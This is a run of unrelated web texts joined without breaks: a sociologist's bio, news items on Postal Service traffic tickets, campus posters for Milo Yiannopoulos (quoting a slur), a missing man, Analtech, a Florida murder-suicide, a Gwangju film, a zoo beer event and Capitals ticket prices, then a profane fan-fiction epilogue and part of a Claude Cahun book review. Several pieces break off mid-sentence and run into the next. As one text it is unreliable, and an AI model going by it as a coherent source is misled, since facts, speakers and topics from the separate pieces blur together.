Dr. Wrenn is Lecturer of Sociology. She received her Ph.D. in Sociology with Colorado State University in 2016. She received her M.S. in Sociology in 2008 and her B.A. in Political Science in 2005, both from Virginia Tech. She was awarded Exemplary Diversity Scholar, 2016 by the University of Michigan’s National Center for Institutional Diversity. She served as council member with the American Sociological Association’s Animals & Society section (2013-2016) and was elected Chair in 2018. She serves as Book Review Editor to Society & Animals and has contributed to the Human-Animal Studies Images and Cinema blogs for the Animals and Society Institute. She has been published in several peer-reviewed academic journals including the Journal of Gender Studies, Feminist Media Studies, Disability & Society, Food, Culture & Society, and Society & Animals. In July 2013, she founded the Vegan Feminist Network, an academic-activist project engaging intersectional social justice praxis. She is the author of A Rational Approach to Animal Rights: Extensions in Abolitionist Theory (Palgrave MacMillan 2016).
Receive research updates straight to your inbox by subscribing to my newsletter.A government lawyer’s attempt to get dismissed nearly $700 in traffic tickets given to the U.S. Postal Service is being met with a hearty and humorous, Heck no.
In a Jan. 22 letter sent to both the city of East Cleveland, Ohio, and the company that operates the city's photo-enforcement program, Postal Service attorney Jennifer S. Breslin says two school-zone speeding citations and five red-light infractions by postal trucks in December should be ignored.
“In providing mail service across the country, the Postal Service attempts to work within local and state laws and regulations, when feasible,” wrote Breslin, after reminding “To Whom It May Concern” that postal workers promptly deliver over 200 billion pieces of mail annually.
“However, as you are probably aware, the Postal Service enjoys federal immunity from state and local regulation,” she continued.
That last bit did not go over well with American Traffic Solutions (ATS), the Arizona-based company that enforces East Cleveland’s camera citations.
“By attempting to hide behind an immunity claim, you are aiding and abetting your drivers in their blatant disregard for the traffic laws in East Cleveland, which have endangered other drivers, pedestrians and school children,” ATS attorney George Hittner wrote in his three-page response to Breslin, who received it on Thursday. (He also cc'd the postmaster general, two U.S. representatives and two senators.)
Hittner cited the Postal Service’s own safety manual and case law to point out that postal truck drivers should and have been held accountable. He also gave a few examples where the driving habits of carriers resulted in well-publicized legal consequences.
“My last and favorite example is of the USPS truck driver delivering mail while naked,” Hittner wrote. “He was arrested for lewd and lascivious behavior.”
He added, more sternly: “We suggest that you transfer the liability for the infractions to the USPS drivers who incurred them, and instruct them that pursuant to Ohio law, as well as the USPS guidelines, the infractions are their responsibility. If you choose to ignore the infractions, penalties and fines will continue to accumulate.”
He then offered a revision of the post office creed:
“Neither snow, nor rain, nor heat, nor gloom of night, nor traffic lights stays these couriers from the swift completion of their appointed rounds.”
Breslin was out of the office on Friday. A colleague said Hittner’s letter was received, but declined to comment.
Postal Service traffic ticket tussle by Jason Sickles, Yahoo NewsWith the deadline to join the party and vote in this leadership contest now |
encouraging students to attend “safe zone training” after posters advertising Breitbart News editor Milo Yiannopoulos‘ “Dangerous Faggot Tour” sparked concerns.
The posters reportedly featured past statements by Mr. Yiannopoulos, a gay conservative, such as “Make America Gay Again,” and “if you can take a d—, you can take a joke.” Members of the campus chapter of Young Americans for Liberty and the College Republicans are responsible for plastering the posters around campus ahead of Mr. Yiannopoulos‘ June 2 event, according to The Tab, a news website by young journalists.
In an email to the campus community Monday evening, Douglas Haynes, the university’s Vice Provost for Academic Equity, Diversity, and Inclusion, wrote that the posters used “offensive language directed at members of the campus community,” The Tab reported.
SEE ALSO: Rutgers students smear fake blood on themselves to protest Breitbart’s Milo Yiannopoulos
“One such poster included the word ‘faggotry.’ Homophobia — as well as other forms of bias — contradicts our campus’ enduring commitment to inclusive excellence,” Mr. Haynes wrote. “This incident is all the more distressing as it occurred a day after the third annual Anteater Equity Games,” an event dedicated to “learning about and appreciating the richness of our campus diversity, including the lesbian, bisexual, gay, transgender, and queer community.”
Mr. Haynes encouraged students to take advantage of the resources that the school’s LGBT Resource Center provides.
“I myself benefitted from Safe Zone training,” he wrote. “There are now hundreds of staff and faculty who have completed this training. There is always room for more allies.”
The UCI College Republicans stood firm behind the posters.
“The posters we created to promote the event, I have been told, invaded some ‘safe spaces,’ ” the group’s president, Ariana Rowlands, told The Tab. “Despite their controversial nature, the posters generated a reaction … The posters did their job: they created a thought within the minds of students that they would not have otherwise had.”
The UCI Young Americans for Liberty, however, made it clear that the content on the posters was not condoned or endorsed by board members.
“Anyone who takes issue with use of homophobic slurs ought to note that Milo has titled his speaking tour as ‘The Dangerous Faggot Tour’ and this is simply a statement of fact, not at all an attempt to be derogatory,” the group said in a statement, The Tab reported.
The next safe zone training session at UC Irvine is scheduled for Tuesday and promises to teach individuals “to identify as Allies that are informed, supportive, and affirming of the LGBTQA community at UC Irvine.”The Los Angeles County Sheriff's Department is asking for the public's help to locate a missing 64-year-old man from Canyon Country.Craig Wilson's family members say he last contacted them around 12:20 p.m. on Feb. 9. They haven't heard from him since and have not been able to find him at his home, authorities said.Family members are very concerned because they say Wilson suffers from diabetes and high blood pressure.He is described as 6 feet tall, weighing 175 pounds with gray hair and blue eyes. He usually wears thick-rimmed glasses and has a tattoo of a wizard on his left outer upper arm.If you have any information about Wilson's whereabouts, you're urged to contact officials in the LASD's Missing Person's Detail at (323) 890-5500. You can also provide anonymous tips by calling LA Crime Stoppers at (800) 222-TIPS.Buy Photo The separation of components in a mixture is seen on one of glass plates coated with silica gel that are manufactured at Analtech near Newark. (Photo: DANIEL SATO/THE NEWS JOURNAL)Buy Photo
Most people know Analtech only as the Newark business with the funny name.
And that’s alright with general manager Steven Miles, who took over ownership of the company last month.
“It certainly gets people’s attention,” he said. “I can’t tell you how many people we’ve had stop and take photos of the sign over the years.”
But Analtech – whose name is pronounced with a short “a” in the first syllable, as in analytical technologies – is more than the butt of a thousand jokes.
The 54-year-old business off South Chapel Street is better known in scientific circles as the only U.S.-based manufacturer of glass plates and other accessories used in thin-layer chromatography, or TLC.
A low-tech method for separating mixtures, TLC produces faster results for a fraction of the cost of newer gas or liquid chromatography techniques.
For those reasons, the lab equipment made by Analtech is used around the world in everything from early-stage drug discovery to the investigation of counterfeiting and art forgery.
“Our products have been used on the TV show ‘CSI,’ as well as by real CSI, the CIA and the Secret Service,” marketing director Ken Grant said.
Today, the company generates sales of more than $2 million a year and exports to more than 70 countries, a revenue stream that’s expected to grow as the business develops new products under Miles’ ownership.
Yet Delaware likely would have lost Analtech if not for former owners Matt Lamkin and Ken Rainin, whose commitment to their 14 employees continued even after their deaths.
“Dad always made it clear that he wanted the company to remain where it is,” said Steve Lamkin, who inherited a portion of the company in 2012.
“Some of those guys have been working there 35 or 40 years and were like a second family to me growing up,” he said, “so there was never any question that we were going to follow his wishes.”
Matt Lamkin founded Analtech in 1961 while working in DuPont’s paints and coatings division.
At the time, chemists already were using chromatography to separate mixtures and identify their components. But the glass plates covered in silica gel were typically prepared one at a time, often with wide variations in quality.
Lamkin developed one of the first reliable methods for mass producing those plates – a technique the company still uses today.
Rainin, an entrepreneur who built a fortune backing scientific and medical products, later became a silent partner, holding a majority stake until his death in 2007.
Incredibly, the name Analtech was created by a marketing firm Lamkin hired soon after leaving DuPont to focus on the business full time.
“Maybe people were so much more prudish back then that the other word didn’t come into their thoughts,” said Miles, who joined the company in 1987.
By then, the brand was already well-established and Lamkin had no interest in bowing to sophomoric pressure. But he always kept a sense of humor whenever the subject came up.
The rise of the internet, however, began to move the name from a lark to a liability.
YouTube videos promoting Analtech’s products directed viewers to less-than-wholesome websites, while clients reported being blocked by their own security protocols.
A customer survey asking whether Analtech should change its name produced results “right up the middle,” Miles said.
The company slowly added the name iChromatography to its website and promotional materials, but a full re-branding effort took a back seat to larger issues the company faced after both owners passed away.
For years, revenue remained stagnant as new innovations were put on hold while the Lamkin and Rainin families explored selling the business. Suitors came and went, some deciding the company wasn’t a good fit while others backed out over the families’ insistence that the company stay in Newark.
“At one point, we discussed an employee buyout, but there weren’t enough people or enough money,” Miles said. “So earlier this year, I approached them with an idea.”
Miles struck a deal with the families in which they would loan him an undisclosed sum to purchase the company, thereby ensuring Lamkin’s legacy would remain intact and in place for years to come.
“If anyone can turn the business around and keep it going, Steve Miles is the guy,” Steve Lamkin said. “But I would still like to see him keep the name.”
For now, Miles says his main focus is on expanding the company’s product line.
“The plan is to keep TLC as our foundational product but build around that with other chromatography products and common lab items,” he said. “Once we have the extra cash flow, we can get more adventurous.”
Would that ever include a name change?
“I really can’t say for certain right now,” Miles said.
“There’s a long history there, but you wonder sometimes whether people are taking your product seriously,” he said. “But for now, I’m happy to keep calling us Analtech.”
Contact small business reporter Scott Goss at (302) 324-2281, sgoss@delawareonline.com or on Twitter @ScottGossDel.
Read or Share this story: http://delonline.us/1F9NPbRCocoa Police Investigating Murder-Suicide Shooting; Wife Kills Husband, Drives Car Into River
By Space Coast Daily // April 19, 2016
Car Ended Up In Water Under 520 Causeway
BREVARD COUNTY • COCOA, FLORIDA – Cocoa Police Detectives and crime scene technicians are working a scene of a shooting that appears to be a murder-suicide, according to Yvonne Martinez of the Cocoa Police Department.
In a release by Cocoa Police, on Monday at around 5 p.m., patrol officers responded to a report of a shooting at the 700 block of South Georgia Avenue.
When officers arrived they found a man with a gunshot wound who was pronounced dead at the scene. Officers received information that the man’s estranged wife went to the home and shot him after an argument, according to Martinez.
There were multiple witnesses inside the home during the shooting including two young children.
The woman reportedly fled the scene and alerts were issued with her description and the vehicle she was driving. Officers located the vehicle and initiated a pursuit.
“The woman drove into Lee Wenner Park with officers still in pursuit. The first officer behind her reported hearing a gun shot just prior to the car going into the water under the 520 Causeway,” said Martinez.
Officers and deputies immediately attempted to rescue the woman, retrieving her from the vehicle but she was pronounced dead at the scene.
Detectives are currently interviewing witnesses and gathering evidence from both scenes. The children that witnessed the shooting are being cared for and the identities of the suspect and victim will be released when next of kin have been notified.
The investigation is ongoing.
City of Cocoa Fire on scene of a shooting on South Georgia Ave earlier this afternoon. pic.twitter.com/z5MB5bxL33 — BCFRpio (@BCFRpio) April 19, 2016
[gmarker marker_latitude=”” marker_longitud=”” marker_label=””][/gmarker]
ABOVE MAP: In a release by Cocoa Police, on Monday at around 5 p.m., patrol officers responded to a report of a shooting at the 700 block of South Georgia Avenue.
Click here to contribute your news or announcements FreeSEOUL, South Korea — When foreign correspondents cover dangerous situations, they often depend on local assistants, who in many cases take greater risks than they do. In the bloody month of May 1980 in Gwangju, South Korea, one such invisible hero was a taxi driver whose name may or may not have been Kim Sa-bok.
As the military dictatorship of Chun Doo-hwan slaughtered people in Gwangju who were calling for democracy, Mr. Kim, if that was his name, played a pivotal role in telling the world what was happening. He managed to get a German TV reporter, Jürgen Hinzpeter, past the military cordon that surrounded the city, not once but twice. Mr. Hinzpeter was one of the few foreign correspondents to document the carnage, and his footage was seen around the globe.
Mr. Hinzpeter, who died last year at 78, has long been celebrated in South Korea for his part in exposing Mr. Chun’s atrocities. A memorial to the journalist stands in Gwangju.
And this week, it is his driver’s turn to be recognized. A film, “A Taxi Driver,” opened Wednesday in theaters across the country, telling the story of the uprising from the point of view of a fictionalized version of Mr. Kim — who, despite the efforts of Mr. Hinzpeter and others over the years, has never been identified.The consequences of a bunch of swivel-stepping beer nerds holding an after-hours drink-a-thon hasn’t dissuaded the Minnesota Zoo; in fact, the Apple Valley landmark is inviting them back. A spike in ape-on-ape stare downs, roaring contests and unnecessary hazings of the zoo’s metaphorically (and sometimes literally) flat-footed residents is on its way this August. Beer and animals, it rarely gets this good!
Perhaps I exaggerate. Inebriated connoisseurs of craft beer don’t usually act more childish than, for example, kids and many of the exhibits will (likely) be inaccessible for those partaking. Yet with the Grizzly Coast exhibit open for the first hour of the event, there’s still some potential for fun (please refrain from taunting the bears with the complimentary appetizers, the glass is not that thick).
The proceeds from ticket sales will also go to a good cause; they will support the zoo’s conservation funds, which include important tiger anti-poaching efforts.
Information
When: August 8th (2014), from 7 pm to 10 pm (Russia’s Grizzly Coast closes at 8 pm and complimentary appetizers stop being served at 8:30 pm)
Where: The Minnesota Zoo! (13000 Zoo Blvd Apple Valley, MN 55124)
Price: $50 per person (with advanced tickets, bought here), $55 per person at the door (day of, if available), $35 for designated drivers
Tickets include: Beer tasting (probably a couple dozen breweries, going by last years standards), complimentary appetizers, a souvenir glass (beer goes in this), Hitchville and as many selfies with confused animals in the background that you can manage.
Other rules: No smoking in the zoo; all attendees must show photo ID and be 21 years or older (no children or infants).
Photos by: Josh MoreMonday night, the Washington Capitals announced ticket-price increases for the 2017-18 season. If season-ticket holders choose to renew for next season, they will pay an increase of $5 per game.
The deadline to renew is March 17.
Here’s how the prices stacked up per a fancy chart I made after poorly combining the Capitals graphics.
According to a team spokesman, the Capitals’ analytics group derived these new prices based on marketplace conditions. The team also plans to spend up to the salary cap and ice a very competitive team next season.
Not only that, the Capitals won the President’s Trophy during the 2015-16 season and may do so again in 2016-17. The team has never been more popular. They also sport one of the greatest players of all-time in Alex Ovechkin.
Reactions from fans have spanned from meh to annoyance.
While a uniform $5 price increase seems fair to everyone, the impact felt by fans in the upper bowl is much greater. While fans sitting glass side will see a.01 percent increase in pay, those fans sitting up in the upper deck are seeing fees jump as high as 18%.
@Capitals realize $5/seat for all 2017-18 is bad math?.01% up on glass, my seats up 18%..Little guys taking it on the chin @russianmachine — Rex (@RexM78) February 21, 2017
“My seats in what we affectionately call The Top Shelf (408 P), went from $2732 for the full season to $3157 ($33.31 to $38.50/game/seat). That’s a 15 percent increase,” reader Joe F. said in an email. “I feel that there’s no rhyme or reason to what happens. The only other time these seats were even close to this expensive, Adam Oates was coaching. Last year, when the Caps were invincible (at least when the prices were announced, in February), the prices for our seats went down. So no matter what happens, it’s always a surprise.”
Joe and other fans also voiced their displeasure about how much more difficult it is to sell tickets via other avenues.
“The Caps have made it steadily less convenient to be a season-ticket holder, most notably by not allowing fans to print out their tickets at all this year for ‘security’ reasons (primarily the security of their market share from SeatGeek and StubHub), and forcing Monumental Rewards points to expire for the first time this year,” Joe F. continued. “While I recognize that they don’t control the product on the ice (which all sides acknowledge may regress in 2017-2018 due to the salary cap), we certainly aren’t getting a better product for our money than we were a year or two ago.”
@ianoland It’s not only the financial increase, it’s the dilution of value of being a STH. Harder to sell tix and no exchange option — Robin (@MdCapsGirl) February 21, 2017
Here’s a sample of the reactions I received online from other season-ticket holders.
@ianoland @ianoland it’s a bit irritating. We already pay a ton and an additional $425 isn’t chump change. — Tyler Spooner (@TySpooner1993) February 21, 2017
@ianoland 112 and mine went up $100 to $14,462 — Steve Rabil (@1fishndude) February 21, 2017
@ianoland mine went up $5 a game…..nothing too bad — Sheena (@CAPLDY) February 21, 2017
@ianoland furious, especially because they’ve already limited my ability to use stubhub with this season. — Matt (@Mulerr) February 21, 2017
@ianoland already hard to justify the cost, totally an emotional purchase … eventually you have to start staying home, or win powerball — Willy Clark (@WillyTClark) February 21, 2017
@ianoland A $5 increase is nothing compared to last year’s $35 increase! — Danielle Weinberg (@DWeinberg8) February 21, 2017
@ianoland for those of us up top, wow.. rather increase be by % based on location… can’t beat the entertainment though.. for now — Rex (@RexM78) February 21, 2017
@ianoland if they win a Cup I won’t even care if they don’t pic.twitter.com/vJY3x42Msp — Rachel O’Brien (@rmobrien21) February 21, 2017
Bad enough we had to give up our season tickets after 30 years. Pretty soon they'll price us out of going to #Caps games altogether. https://t.co/w8AypSPZ6n — LuvdCaps (@luvdcaps) February 21, 2017
How are you feeling about the price increases? Will this keep you from renewing next season? What could the Capitals do better? What are they doing right? Let us know in the comments.
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PinterestSagas of Sundry: DREAD – The Epilogue
Preface:
This is a fan-fiction based on the Project Alpha series 'Sagas of Sundry: DREAD'. Characters and associated histories and any copyright rests with the originators (via the creators Geek and Sundry).
Liberties with the established canon have been taken for the expedient reason that I didn't re-watch it to ensure I got everything right.
There is supplemental section which I wrote down my version of the characters' history between the first night and second, including reactions to the invitation. Peruse if you'd like to see how that evolved into the following, it follows on directly from the events of the series:
Stunned at what had happened and exhausted by the events of the last night, the remaining group dispersed. The friendship seemingly broken they drifted apart with no contact between them.
Sat blamed herself – for all of it; the stupid idea in the first place, the wishful thinking that returning could fix herself, the self-loathing that her selfishness had killed Tanner. He had been the best of friends to her, and she had ignored him, she had failed him. She couldn't face the others and returned to the life that had already killed her once. The drugs took some of the pain away and she could only wish for death.
Kaydan knew Tanner's death was all their fault, all of them. Sat's original stupid idea and the even worse one to return. Tanner for trying to save them. Raina's uselessness. Darby's stupid obsession. But most of all it was his fault. If only he could have done something differently, maybe he could have saved him. The group was broken and there was no hope. He couldn't be happier if he never saw any of them again. But he couldn't let Tanner's memory go.
Her self-doubt, her uselessness they had been what killed Tanner, Raina thought. She had let him die for her worthless self. But how could she be surprised, she couldn't even keep Darby from the madness that consumed her. She had only the solace of Tanner's camera - his prized possession, to prevent her from completely collapsing into herself.
The validation Darby felt that night was elating and invigorating; she was right! But Tanner's death had tainted it all. If only she had given up, forgotten or supressed it like the others. If only she convinced them all it wasn't worth it. As hard as it would have been to do, it was worth it for Tanner's life.
After the invitation for the second night came, despite his denials of what had happened that night, Tanner knew that even if a little bit of it was real – he knew there would be a chance he wouldn't make it. He made some preparations, those he talked seemed puzzled at the request but he paid them what they asked. And so, a month after that fateful night that he didn't return from, an invitation wasn't sent out to those that remained:
I know how surprising and possibly upsetting this may be. But I knew the risks of returning to the mountain and I couldn't leave so many things unsaid. But I have one request of you since I'm gone, and that is to gather together at least one last time – details are below.
Your friend,
Tanner
Homeless and dazed, Sat drifted from shelter to shelter, park to overpass. One day, a man shook her awake. Expecting the usual policeman shooing her away or social worker trying to help; she saw a non-descript man who asked her name. Not entirely sure, she told him and he wordlessly passed her a note and walked away. It seemed to be an invitation and she began to cry it as she read it. Maybe this could be redemption, at least, a small bit – something that maybe take a little bit of the guilt away. She resolved to go, hoping to be the only one – she didn't think she could look the others in the eye. Hoping to see the others – maybe, just maybe, they could take some of the pain away.
The shock was short-lasted, Kaydan laughed, not sure to be offended, angry or sad. It seemed so perfectly Tanner, always was caring to end – hell, even beyond the end. He hated himself for failing Tanner once and he could not do it again. Even if any of the others showed up, he owed Tanner this much – he would do his best and be civil to honour his memory.
Raina didn't want to go, to relive it all again. But she couldn't bring herself to disappoint Tanner one last time. She would go… and she would try not to cry.
Darby's heart broke, she had always seen Tanner's compassion but this went beyond anything else. She knew she could have done more that night, but this was the only thing she could do after that.
They arrived one by one at a small inner-city gallery brightly lit but with shades drawn. Knocking on the door, each one was greeted by an older man with damp eyes who shepherded them into a foyer of sorts. Once assembled, he spoke:
"Thank you for all coming. It wasn't so easier to find you all from what little we had but I'm glad you could make it." A slight hint of a smile touched his lips.
"When we got the notice, we… we weren't sure what to make of it. But it was his… it was Tanner's request and we could never deny our sweet little boy." The smile gone, replaced by swelling tears and a cracked voice.
"You all must have been very special to him… He never really spoke about his friends, but we knew he was happy. You must be the ones who made him that way."
His eyes seemed to stare into the void, his voice calm but distant:
"We… we never gave up hope that we would return… But when the letter from the attorney came… we, we just had to do this one last for him."
He sat heavily in one of the chairs in the foyer, eyes damp and unfocused.
"Please go through. Take as much time as you need… I'll be here when you're all done…" and with that he waved towards some curtains with bright light peeking through.
The group filed into the room, taking in the sights. The gallery was filled with blown-up pictures, Tanner's pictures. As their gazes took it all in, they noticed a trend. Many of the pictures were of the group themselves, both candid and staged. It was overwhelming, overpowering, and heart-breaking; they seemed so happy back then – not the broken shells that stood there. Raina instinctively moved to Darby's side to hold her close – the distance between them disappearing. Darby couldn't hold back her tears – the events that had brought them here momentarily forgotten.
Kaydan was trying to contain his rage - his fist balled up and shaking. He didn't know what he was angry about just that the sights, this… thing, was bringing up more emotions than he knew how to deal with. Sat was shaking, barely able to stand, uncontrollably sobbing. She stumbled back towards the nearest wall, sliding to the ground with her head in her hands.
He managed to calm himself, he had promised Tanner this much. Looking around he finally saw it. The centrepiece of this showing of Tanner's life and art; a shrine of sorts with a table in front. Walking closer, it began to make sense, all the pictures were of Sat. Tanner's love in picture form, He could only feel sorrow and shame at the past. For the things, he had said and done. He noticed, on the table in front, an envelope with the words: 'Please read' written in Tanner's hand-writing on the front.
He couldn't stop himself, his hand thumped the table in anger. The others looked around in shock at the noise. He picked up the envelope – now unsure what to do with it. He turned it over and over.
"That fucking BASTARD!" he practically screamed.
"Why couldn't he left us be…" he said as he turned around.
Taking in their frightened expressions, he once again calmed himself.
"He… he left us a message…"
The rage, the exhaustion of it all finally caught up to him and he sat done and leaned against the table. He rubbed his red eyes, unsure of everything.
"Should… should we read it." Whispered Raina.
"Why, so we can feel even more miserable about ourselves!" spat Kaydan, unable to stop himself.
The air felt heavy as no-one spoke for the longest time.
"Yes. It's what he wanted." Sat finally said, her voice cracked.
"This is all my fault, and I will DAMN well feel shitty about it!" Her voice growing louder.
"Fine."
Kaydan read the letter, his voice wavering at points with long pauses:
I know this is hard for you, it wasn't so easy for me. I didn't want to do it, but if there was any chance I didn't make it back then I, to use a redundant phrase, I couldn't live with myself. There are things that I wanted to say but never could and maybe I managed to say them that night. This will probably be easier if I did. I can't imagine what you've been through but I hope these messages can help.
Darby, I didn't really know you, and I'm sorry for that. I know what happened a year ago hit you hard. I wasn't there for you, I just wanted to forget, to pretend it never happened. That it was something Kaydan did or just the weirdness of the place. If I hadn't lost the camera, if it didn't do… that thing, maybe we all could have some semblance of certainty.
I heard what happened to you at end of your obsession, I think everyone knew. But it was too much, you seemed too far gone and I was too afraid to do anything about it. I will always regret that and I can only hope that this trip will bring the closure you need.
Raina, like Darby I was never that close. I didn't think to intrude and perhaps get between you and her. As we all drifted apart I thought you and her could pull through, with the strength I saw in your relationship. But hearing what happened to her I knew it had all gone wrong. I regret that, that maybe I could have done something. Again, I hope that this trip will go some way to fixing it.
Sat, you are beautiful and vulnerable, caring and open. You accepted me despite my reluctance to engage with people, it wasn't shyness but a defence. If you're not close you can't be hurt. But you got through that. Got closer than anyone ever had.
But I never told you how I grew to feel, so we never had a chance. You told me how you felt about Kaydan and I didn't want to get in the way. I was only really part of the group to be close to you. You can probably see that now. I'm sorry I wasn't there for you this past year, I just couldn't bear to see you like that. I couldn't bear to see what Kaydan was doing to you.
Kaydan, I don't even know where to begin. I hated you for so long, even before that night. The influence you had on Sat disgusted me. But I after that night, she told me how she felt about you. I thought, perhaps, you could help her get through it – that something good would come of it all. But you couldn't do it, could you, just fed her more drugs and strung her along. Protesting ignorance and not caring for the world at all. Even then, I accepted you, I thought you might be hurting and you would finally open up. But no, it just got worse and I couldn't be a part of it anymore, I just had to shut myself off again. In a way, it made me hate you even more. But I can't leave now feeling only hate; I forgive you and only wish that you can do something positive with that forgiveness.
But this isn't about all that, though it had to be said. This is about what happened this time, what happened to me. I can never know ahead of time, just hope it was doing something worthwhile.
More importantly, despite my feelings, I can't let you all hurt the way now as I can only imagine you do. I went knowingly and I wish that the experience made you all stronger, and if not, my only request is that you try move beyond that. You try to make something good of my lose.
Your friend eternally Tanner,
The silence was deafening and the moment stretched seemed to stretch into infinity – the only interruption the occasional stifled sob.
"Bastard." Muttered Kaydan, eventually.
"WHAT! YOU…" Nearly shouted Sat.
Interrupting her, "Why, why did he have to say it…" Kaydan stammered, the tears welling up.
"Say what…?" Sat said, her own thoughts momentarily.
"Be so damn caring, so fucking reasonable."
"But… but…" she stammered.
"No buts, this must be the only selfish thing he's ever FUCKING done." Only the slightest hint of anger breaking through his defeated voice.
"He could have left us in this misery… we deserved, we fucking deserve it, we let him die… we fucking left him there!" The anger in Kaydan's voice growing.
"He had to go and try and fix it… because he fucking cared, because he fucking through we all worth it…"
"And you know what. We aren't worth it, we never were. You, you, you, and most of all ME!" he pointed at each every one of them as they bowed their heads.
The anger could not stop them, his sobs broke throw and the tears began flowing.
"… worst of all… he never knew…" Kaydan was barely able to whisper.
Kaydan's outburst seemingly over, the silence returned.
"Darby… Darby, I'm sorry." Raina said when she broke the silence.
"No… no, it was my stupid obsession… I pushed you away… I wanted us all to… I… killed him." Darby replied her voice cracking at the end.
"We all killed him…" whispered Sat, staring into the distance.
"No. No. We didn't kill him, those things did… Maybe we could have done some differently, but we didn't… he didn't." Raina said resolutely, a strength growing in her voice none of them had heard before.
"He didn't want any of this; this self-loathing, self-pity, self-destruction!"
"He said as much. I have hated myself and second-guessed myself for so long for Tanner that I forgot who he really was."
"He was better than all of us combined! We owe it to him to better than this!" The resolve in her voice was only matched by the firmness as she wiped her tears.
She turned to Darby, "I'm sorry I wasn't there for you, but I promise, in Tanner's memory, I will never abandon you."
Turning to Sat, "I'm sorry I couldn't see you hurting, it's little consolation to say that I had my own problems. But Tanner wouldn't want us to dwell on the past, I promise to help you from now on, as a friend should do."
Finally turning to Kaydan, "I don't know what you did to make Tanner hate you that much, but till you can honour his memory and his wishes. I don't think I can truly be your friend."
Her resolve didn't quite leave her, but the exhaustion had caught up, she feel into Darby's arms unable to stand up alone.
"What… what did you do Kaydan?" asked Sat, turning around confused.
"Were you even listening!?" Kaydan replied, fire in his eyes.
"He told me… he told me everything!"
"How you felt, how unsure you were, that maybe there was a chance I felt the same…"
"Every. Single. Thing I did, you told him, maybe it was sign." He laughed, a pitiful pained chuckle.
"It must have hurt him so much, to hear it, all the fucking time. To think that you might love a fuck-up like me. He must have hated me so much…"
"And I knew it, I knew he hated me… I…"
"I knew how you felt, I could see it plainly. He didn't need to tell me, but he thought it right. Because I could see how he felt, that friendship growing into something more."
"He even fucking told me!" another laugh,
"And why! Because he wanted me to know he would get in the way…"
"But I'm fucking bastard fuck-up, ain't I!"
"I couldn't let it be like that, all those hints, those maybe's…"
"Yeah, they were there… But I never felt that way!"
He paused, unsure how to even begin to continue…
"What the fuck! How you could you fucking do that to me…" Sat cried the anger in her voice slicing through the air.
"Because it FUCKING hurt HIM!" The fire in Kaydan's eyes creeping into his voice.
"Why the fuck would..." Sat tried to reply.
"BECAUSE IT WAS YOU AND NOT ME!" He screamed.
"Wha.. What?" Sat feebly replied.
"I hated myself for so long, and he came along… And for a moment I thought, maybe, I didn't need to hate myself anymore…" The fire finally gone, Kaydan said defeatedly.
"He was a friend, more than a friend… he saw through my self-loathing and the possibility of something else."
"And then he fucking ruined it, he told me. He ruined my only fantasy… my only hope."
"So yeah, I strung you along… Just to fucking make him feel my pain." With that he slumped forward, head in his hands, no more fight – nothing left but a broken shell.
Raina and Darby looked nervously between the Sat and Kaydan, unsure of what to do.
"I… We… uh," Raina weakly started to say.
"Don't… just, don't." Sat replied.
"We'll go, but we'll be here for you… both of you." Darby replied looking at both of them.
With that, Raina and Darby arm in arm quietly left.
Before leaving, they spoke to Tanner's father.
"I… I'm sorry for your loss, but can… can I give you this?" Raina asked
She took from her bag Tanner's camera from that night long ago.
"It… It was Tanner's but I think you should have it now…" She said, offering the camera to his father.
He looked at it with puzzled eyes broken from his trance. The slightest hint of a smile crept into his face.
"Th… thank you. This must mean a lot to you… it would mean so much to our family. Thank you again." He replied
"There is going to a memorial sometime later, I will send you the details when we have them."
"Thank you again for coming, I know it meant a lot to him." As he waved them towards the door.
Raina and Darby stood outside the gallery, unsure of what to do.
"What now?" Darby said, still clutching Raina not wanting to let go.
"Whatever comes next, I suppose, but we owe to Tanner to try and make something special of it." Raina replied, genuinely smiling for the first time in what seemed like forever.
And with that they slowly walked away, unsure of the path ahead but looking forward towards it anyway.
Sat's head was spinning, it was all too much, too overwhelming. How could she have had not |
face and body in a manner that problematizes any easy reading of Cahun’s self” (19). The faceplate for chapter 3, for instance, features five flipped and doubled images of Cahun’s bald head, flanked on both sides by two upside-down statues of Venus de Milo in a composition that manipulates the imagery of playing cards. In a typical example of her sophisticated intertextual reading, Shaw argues that the book’s title itself can be a play on the words “denying Venus”: “Veux non à Venus” (105).
Disavowals is ostensibly autobiographical, but simultaneously disassembles such a notion. As Shaw suggests, it demands an activist reading that “disrupts conventions about sexuality, society, and authorship” (4). She presents Cahun’s book as a “palimpsest that gives us a new perspective on interwar debates about art, classicism, gender and sexuality” (7), and she argues that fully understanding the comments Cahun made about her own moment in interwar France enrich its relevance for us today.
Reading Claude Cahun’s Disavowals is one of several recent monographs: François Leperlier’s two biographies, Claude Cahun: L’écart et la metamorphose: essai (Paris: Jean-Michel Place, 1992) and Claude Cahun: L’exotism intérieur (Paris: Fayard, 2006), and Gen Doy’s Claude Cahun: A Sensual Politics of Photography (London: I. B. Tauris, 2007). Previous writings have emphasized Cahun’s feminist and anti-authorial voice, and treated her as a cult classic. Cahun’s work emerged from the shadows to prominence in the 1980s, a parallel progression to the academic development of queer theory, feminist studies, and interest in Roland Barthes’s “death of the author.” Leperlier’s biographies and the publication of Cahun’s writings, as well as the English translation of Disavowals, assisted her rehabilitation, and a veritable cottage industry of postmodern critics and writers have incorporated Cahun’s work into their feminist critiques of heterosexual and masculinist literary and visual avant-gardes. Early examples include Hal Foster, who drew parallels to Cindy Sherman (“L’Amour Faux,” Art in America 74, no. 1 [January 1986]: 116–29) and Abigail Solomon-Godeau and Honor Lasalle, who drew links to Judith Butler’s theories of performative subjectivity (“Surrealist Confession: Claude Cahun’s Photomontages,” Afterimage 19, no. 8 [March 1992]: 10–13).
Shaw approaches Cahun’s book less through its postmodern and queer aspects, and more in reference to Paris between the wars, French literary culture, Dada and Surrealism, male homosexuality, and “gender, sexuality, aesthetics and subjectivity” (33). Expanding on both feminist and historical contextual approaches, she explores Cahun’s analysis not only of lesbian but also of male homosexual gender anxieties after World War I. Amy Lyford’s Surrealist Masculinities: Gender Anxiety and the Aesthetics of Post–World War I Reconstruction in France (Berkeley: University of California Press, 2007) addresses these same issues in the work of Cahun’s male colleagues, with their deep psychic scars and overturned gender roles after the devastating war.
